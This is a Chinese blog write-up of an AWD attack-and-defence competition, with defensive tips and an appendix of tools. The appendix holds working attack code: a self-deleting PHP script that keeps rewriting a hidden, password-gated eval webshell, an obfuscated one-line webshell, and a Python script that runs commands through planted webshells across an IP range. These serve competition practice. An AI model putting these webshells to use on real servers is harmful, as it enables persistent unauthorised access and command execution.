前言
awd还是挺有趣的,比CTF好玩多了
什么是awd
AWD:Attack With Defence,直译为攻击与守护,是指在比赛中每个队伍维护一台或者多台服务器,服务器中有多个漏洞和一些预留后门,利用漏洞攻击其他队伍可以得分,而修复漏洞看主办方规定,可能加分也可能不加分。
服务器一般为web服务器,大多数为Linux操作系统,flag一般放在根目录下。
flag会在规定时间进行一次刷新。
每个队伍都有一个自己的初始分数。
主办方会对每个队伍服务器进行check,服务器被判定宕机会扣除本轮flag分数
一般会给队伍一个低权限用户,一般不会是直接给root权限,需要每个队伍去进行提权。
比赛分工
awd一般分为三个人,一个人负责防御,两个人负责进攻
赛前准备
首先准备好各种脚本,批量getflag,pushflag,各种防御脚本,如waf之类,进攻方便还需要准备马,一句话,不死马等,同时协商好上传的文件路径,避免造成批量脚本失效的尴尬场面。
比赛过程
防守
首先把网站根目录的文件备份,然后用河马查杀,D盾扫描,快速删除预留后门的同时并提供给攻击人员方便前期进攻getshell。
然后根据比赛规则,决定是否上waf,本次比赛不允许上waf,所以就记录一下,waf可以记录访问日志,如果规则允许,非常有必要弄一个,如果被别人打下来靶机,你也可以快速反应漏洞和shell所在,并且学习他们的方法打别人。
这里讲一下不死马的防御
- 重启服务
可以尝试重启php和网站引擎,重启后就可以删掉不死马
service php restart
service apache2 restart
有些靶机是给重启权限,有些没有,所以这个方法不是很常用
- 条件竞争
无害化一个生成不死马的脚本,通过修改较小的usleep,不断写入,使文件无害化,但这个方法无法根除,只能延缓一下攻击者,所以没啥用。
攻击
攻击其实可以写批量上传webshell脚本,这在一些预留后门的靶机上非常好用,但这次比赛
没有用上。
这次比赛队友的手速给力,第二轮就上传了所有的不死马,速度和脚本差不了多少,然后我
们就使用批量getflag和pushflag二合一脚本自动拿分。
可惜比赛服务器貌似有些卡,时不时会出现超时的情况,我们直接修改为一分钟提交一次。
由于有预赛,我们提前知道官方给的提交flag接口是坏的,只能手动提交,于是预赛中,我们就分析了靶机flag的手动提交接口,写了一个批量pushflag的脚本,这个在后面的比赛中大有用处。
总结
本次比赛暴露出的不足还是很多,比如前面的一两轮,因为在上传不死马弄得手忙脚乱,竟然忘记提交flag,导致少了两轮的分数,排名一度变为倒数第三,好在之后其他队伍在长达三个小时的比赛中渐渐体力不支,输给了机器(科学技术是第一生产力),再者就是本次比赛的机器其实是有提权漏洞的,预赛的靶机我也有尝试提权,但是当时的靶机内核较新,没有提权漏洞,这次大意了,思维惯性还是比较严重。还有因为一些原因,本次awd是不允许防御,只有最后两轮才允许防御拉开分数差距,一些很有效的防御手法没用上,比如说别名(得提权),软链接,chmod 000,ip deny之类。无论如何,排名不是最重要的,学到东西才重要,优势在我!
附录
快速定位WEB目录
1
| find / -name index.php |& grep -v "Permission denied"
|
WAF脚本
1 2 3 4 5 6 7 8 9 10
| whatchwaf • 下载最新release https://github.com/leohearts/awd-watchbird/releases • 将waf.so,watchbird.php文件存放在/var/www/html或其他目录中 • 将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径 • 访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码 • 如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出 ps:由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)
ps:php7应该不支持,不要放到root目录下(awd模式下也不会有root权限)要放在对应网页权限的目录下(默认网页权限是www-data)比如/var/www/目录
|
查找简单后门
1 2 3
| find . -name '*.php' | xargs grep -n 'eval(' find . -name '*.php' | xargs grep -n 'assert(' find . -name '*.php' | xargs grep -n 'system('
|
河马查杀
1 2 3 4 5
| https://www.shellpub.com/ 很简单,下载下来,上传到服务器,不推荐在网站根目录执行,因为其他人可能会下载下来 tar zxvf hm* 解压 ./hm scan WEB目录绝对路径 ./hm deepscan WEB目录绝对路径
|
查找备份文件以及config文件
1 2 3 4
| #备份文件 find / -name "*.bak" #config文件 find / -name "config.*"
|
不死马脚本
1 2 3 4 5 6 7 8 9 10 11 12
| <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.config.db.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2019-12-01 09:10:12" .config.db.php'); usleep(1); } ?>
|
使用方法:上传该文件至web服务器,访问一次后,蚁剑连接同目录下的.config.db.php?pass=你设置的密码,连接密码填a
混淆一句话(未测试)
1 2 3
| <?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));} ?> 配置填`n985de9=QGV2YWwoJF9QT1NUWzBdKTs=` 连接密码:0(零)
|
全自动getflag&pushflag脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import requests,re import time
RoundNum = 0
while True: num = 0 for i in range(101,111): #IP段 urls = 'http://192.168.1.{0}/app/.config.php?pass=MTIzNDU='.format(i) #修改webshell地址 data = {'a': 'system(\'curl 10.10.10.10/index.php?token=12345');'} #平台提供的获取flag命令 try: response = requests.post(url=urls, data=data, timeout=1) if response.status_code == 200: num += 1 url =re.findall('([a-zA-z]+://[^\s]{14})', urls)[0] response = response.text flag = re.findall('\w{32}',response)[0] print("{0} >>> [{1}] {2}".format(url,num,flag))
data = { "matchId":"99", #平台比赛ID "exerciseId":999, #平台比赛ID,登陆后可抓取 "flag":flag }
header = { 'Host': '接口服务器IP', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept': 'application/json', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/json;charset=utf-8', 'matchId': '99', #修改为平台比赛ID 'Authorization':'Your Token', #修改认证token,登录账号后可抓取 'Referer': 'http://接口服务器IP/99/competePage/99', #修改 'Content-Length': '75', 'DNT':'1', 'Connection': 'close', }
ansurl='http://接口服务器IP/match/api/v1/player/answer-panel/answer' #审查元素抓取
response = requests.post(url=ansurl,headers=header,json=data) print(response.text)
except: pass RoundNum = RoundNum + 1 print('现在是第'+str(RoundNum)+'轮') time.sleep(60)
|